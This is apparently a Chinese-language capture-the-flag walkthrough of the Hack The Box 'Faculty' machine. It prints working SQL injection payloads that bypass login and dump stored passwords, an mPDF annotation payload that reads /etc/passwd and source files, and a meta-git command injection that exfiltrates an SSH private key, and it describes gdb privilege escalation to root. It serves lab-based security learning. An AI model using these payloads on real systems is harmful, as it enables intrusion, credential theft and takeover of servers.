Hack The Box-Faculty
文章目录
整体思路
1.Nmap扫描
通过nmap扫描结果发现,当前靶机开启了22和80端口
继续进一步扫描已开启端口的详细信息,这里给出80端口会重定向到一个新的域名,我们将这个域名添加到hosts中
2.Sql注入登录
顺利访问网站登录界面,尝试使用万能密码**1’ or 1=1 – -**登录
以Smith, John C身份登入,这个页面比较简单,没有发现什么可利用的地方
3.gobuster网站目录枚举
使用工具gobuster枚举网站目录,得到/admin
尝试访问一下,这里直接以Smith, John C身份进入admin后台界面
下一步我们可以选择通过SQL注入的方法得到管理员的密码,但是这种步骤比较繁琐,我们先尝试使用万能密码登录/admin/login.php进入管理员后台,现在可以看出这个靶场几乎没有什么身份验证措施。
想了想还是拿一下管理员密码吧,以备不时之需,这里试了一下,Course和Description部分是可以进行Sql注入的
4.Sql注入获取管理员信息
Sql注入payload:good luck’,description=(select group_concat(schema_name) from INFORMATION_SCHEMA.SCHEMATA) where id=1-- -
顺利得到数据库信息
接下来继续编写获取数据表和用户信息的payload
获取数据表:good luck’,description=(select group_concat(TABLE_NAME,“:”,COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = ‘scheduling_db’) where id=1-- -,用户表 users,用户名 username,密码 password,这里内容太多不方便截图,我就直接全部复制下来了
Course: good luck
Description: class_schedule_info:id,class_schedule_info:schedule_id,class_schedule_info:course_id,class_schedule_info:subject,courses:id,courses:course,courses:description,faculty:id,faculty:id_no,faculty:firstname,faculty:middlename,faculty:lastname,faculty:contact,faculty:gender,faculty:address,faculty:email,schedules:id,schedules:faculty_id,schedules:title,schedules:schedule_type,schedules:description,schedules:location,schedules:is_repeating,schedules:repeating_data,schedules:schedule_date,schedules:time_from,schedules:time_to,schedules:date_created,subjects:id,subjects:subject,subjects:description,users:id,users:name,users:username,users:password,users:type
获取用户信息:good luck’,description=(select group_concat(username,“:”,password) from users) where id=1-- -,顺利得到admin的密码:
5.mpdf代码注入漏洞利用
接下来再找找其他的利用点,右上角有一个下载pdf的按钮,尝试用burpsuite测试一下
这是最初下载的pdf文件
使用cyberchef工具对pdf字符串进行base64解码得到一串url编码字符,再进行两次url解码得到html格式的字符串
这里想到可以自己做一个pdf文件,利用当前页面可能存在的漏洞构造反弹shell或者执行其他操作。我们可以搜索一下地址栏出现的mpdf是否存在漏洞
在mpdf的github库中搜索安全问题,得到一个可能存在的漏洞,尝试构造这样的pdf**< annotation file=“/etc/passwd” content=“/etc/passwd” icon=“Graph” title=“Attached File: /etc/passwd” pos-x=“195” />**,我们可能得到passwd文件信息
同样,先进行两次URL编码,再进行一次Base64加密,把得到的字符串换到Burpsuite中得到新的pdf文件
更改burpsuite中pdf的值,生成新的pdf
下载新的pdf,点击pdf右上角的小图标顺利得到passwd文件信息
筛选可以尝试登录的用户名
接下来尝试获得index.php的源码,index.php的源码中加载了login.php和header.php两个文件,我们继续获取这两个php信息
修改一下小图标的位置,同时获取两个文件
header.php没什么发现,在login.php中发现了db_connect.php,我们继续探索
成功得到数据库用户名和密码
接下来使用密码Co.met06aci.dly53ro.per尝试ssh登录用户gbyolo,登陆成功
6.meta-git远程命令执行漏洞利用(RCE)
使用命令sudo -l 尝试提权,这里给出了横向提权到developer的方向
接下来搜索meta-git相关漏洞,这里找到了一个可用的rce,我们可以尝试利用一下
利用这个漏洞我们可以在/tmp或者/dev/shm文件夹下执行反弹shell命令
顺利提权到developer用户
再使用一次命令sudo -u developer meta-git clone ‘sss||cat ~/.ssh/id_rsa’,获取developer用户的私钥,方便ssh登录
7.gdb附加root进程提权
通过ssh登录后使用linpeas进行纵向提权
/usr/bin/gdb进程属于root用户,而debug组的用户可以读取,所以接下来我们需要找一个以root身份运行的进程,并将gdb进程添加到目标进程
这里的进程编号为728
这里相当于使用root身份运行gdb进程
从gdb中调用随机进程,最终成功获取root权限
打完收工!
工具汇总
1.Nmap
2.Gobuster
3.Burpsuite
4.CyberChef
5.linpeas